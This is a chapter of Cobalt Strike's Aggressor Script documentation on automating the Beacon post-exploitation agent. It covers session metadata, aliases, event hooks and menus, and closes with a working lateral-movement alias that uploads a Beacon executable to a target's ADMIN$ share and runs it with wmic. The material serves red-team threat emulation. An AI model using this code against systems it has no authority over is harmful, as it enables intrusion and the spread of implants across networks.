5. Beacon

Navigation

Beacon is Cobalt Strike's asynchronous post-exploitation agent. In this chapter, we will explore options to automate Beacon with Cobalt Strike's Aggressor Script.

Metadata

Cobalt Strike assigns a session ID to each Beacon. This ID is a random number. Cobalt Strike associates tasks and metadata with each Beacon ID. Use &beacons (functions.html#beacons) to query metadata for all current Beacon sessions. Use &beacon_info (functions.html#beacon_info) to query metadata for a specific Beacon session. Here's a script to dump information about each Beacon session:

```
command beacons {
        local('$entry $key $value');
        foreach $entry (beacons()) {
                println("== " . $entry['id'] . " ==");
                foreach $key => $value ($entry) {
                        println("$[20]key : $value");
                }
                println();
        }
}
```

Aliases

You may define new Beacon commands with the alias keyword. Here's a hello alias that prints Hello World in a Beacon console.

```
alias hello {
       blog($1, "Hello World!");
}
```

Put the above into a script, load it into Cobalt Strike, and type hello inside of a Beacon console. Type hello and press enter. Cobalt Strike will even tab complete your aliases for you. You should see Hello World! in the Beacon console.

You may also use the &alias (functions.html#alias) function to define an alias.

Cobalt Strike passes the following arguments to an alias: $0 is the alias name and arguments without any parsing. $1 is the ID of the Beacon the alias was typed from. The arguments $2 and on contain an individual argument passed to the alias. The alias

parser splits arguments by spaces. Users may use "double quotes" to group words into one argument.

```
alias saywhat {
        blog($1, "My arguments are: " . substr($0, 8) . "\n");
}
```

You may also register your aliases with Beacon's help system. Use &beacon_command_register (functions.html#beacon_command_register) to register a command.

Aliases are a convenient way to extend Beacon and make it your own. Aliases also play well into Cobalt Strike's threat emulation role. You may use aliases to script complex post-exploitation actions in a way that maps to another actor's tradecraft. Your red team operators simply need to load a script, learn the aliases, and they can operate with your scripted tactics in a way that's consistent with the actor you're emulating.

Reacting to new Beacons

A common use of Aggressor Script is to react to new Beacons. Use the beacon_initial event to setup commands that should run when a Beacon checks in for the first time.

```
on beacon_initial {
        # do some stuff
}
```

The $1 argument to beacon_initial is the ID of the new Beacon.

The beacon_initial event fires when a Beacon reports metadata for the first time. This means a DNS Beacon will not fire beacon_initial until its asked to run a command. To interact with a DNS Beacon that calls home for the first time, use the beacon_initial_empty event.

```
# some sane defaults for DNS Beacon
on beacon_initial_empty {
        bmode($1, "dns-txt");
        bcheckin($1);
}
```

Popup Menus

You may also add on to Beacons popup menu. Aliases are nice, but they only affect one Beacon at a time. Through a popup menu, your script's users may task multiple Beacons to take the desired action at one time.

The `beacon_top` and `beacon_bottom` popup hooks let you add to the default Beacon menu. The argument to the Beacon popup hooks is an array of selected Beacon IDs.

```
popup beacon_bottom {
        item "Run All..." {
                prompt_text("Which command to run?", "whoami /groups", lambda({
                        binput(@ids, "shell $1");
                        bshell(@ids, $1);
                }, @ids => $1));
        }
}
```

The Logging Contract

Cobalt Strike 3.0 and later do a decent job of logging. Each command issued to a Beacon is attributed to an operator with a date and timestamp. The Beacon console in the Cobalt Strike client handles this logging. Scripts that execute commands for the user do not record commands or operator attribution to the log. The script is responsible for doing this. Use the &binput (functions.html#binput) function to do this. This command will post a message to the Beacon transcript as if the user had typed a command.

Example: Lateral Movement

Let's take a look at an extended example of Beacon scripting. Here, we will define an alias, wmi-alt. This alias will accept a target and a listener as parameters. From this information, our alias will generate an executable tied to our listener, copy it to the target, and use the wmic command to run it.

First, let's extend Cobalt Strike's help and register our wmi-alt alias:

```
# register help for our alias
beacon_command_register("wmi-alt", "lateral movement with WMIC",
        "Synopsis: wmi-alt [target] [listener]\n\n" .
        "Generates an executable and uses wmic to run it on a target");
```

Now, here's the implementation of this alias:

```
alias wmi-alt {
        local('$mydata $myexe');

        # check if our listener exists
        if (listener_info($3) is $null) {
                berror("Listener $3 does not exist");
                return;
        }

        # generate our executable artifact
        $mydata = artifact($3, "exe", true);

        # generate a random executable name
        $myexe  = int(rand() * 10000) . ".exe";

        # state what we're doing.
        btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) .
 ") via WMI");

        # upload our executable to the target
        bupload_raw($1, "\\\\ $+ $2 $+ \\ADMIN$\\ $+ $myexe", $mydata);

        # use wmic to run myexe on the target
        bshell($1, "wmic /node: $+ $2 process call create \"c:\\windows\\ $+ $m
yexe $+ \"");

        # complete staging process (for bind_pipe listeners)
        bstage($1, $2, $3);
}
```

The above is pretty straight forward. We check if our listener exists with the &listener_info (functions.html#listener_info) function.

We then use &artifact (functions.html#artifact) to generate an executable tied to our listener. You'll notice that the third parameter to &artifact (functions.html#artifact) is true. This true parameter tells Cobalt Strike that we intend to use this shellcode with a remote target. Why do we need to specify this? We do this because Cobalt Strike treats the **windows/beacon_smb/bind_pipe** listeners differently, depending on remote vs. local context. If the bind_pipe listener is used locally, Cobalt Strike will use a bind_tcp stager. If the listener is used remotely, Cobalt Strike will use a bind_pipe stager.

The &btask (functions.html#btask) function fulfills our obligation to log what the user intended to do.

The &bupload_raw (functions.html#bupload_raw) function uploads our executable to an admin-only share on the target.

We use &bshell (functions.html#bshell) to run wmic on the current Beacon. Do note, the wmic command will complain if the user does not specify the target by its IP address.

Finally, we use the &bstage (functions.html#bstage) function to complete the staging process for our listener. The &bstage (functions.html#bstage) function is only relevant to **windows/beacon_smb/bind_pipe** listeners. It does nothing for other listeners. This function looks at the target value ($2). If this value is null, it tries to stage the SMB Beacon through a bind_tcp stager. If the target parameter is not null, it tries to stage the SMB Beacon through a bind_pipe stager on a remote target.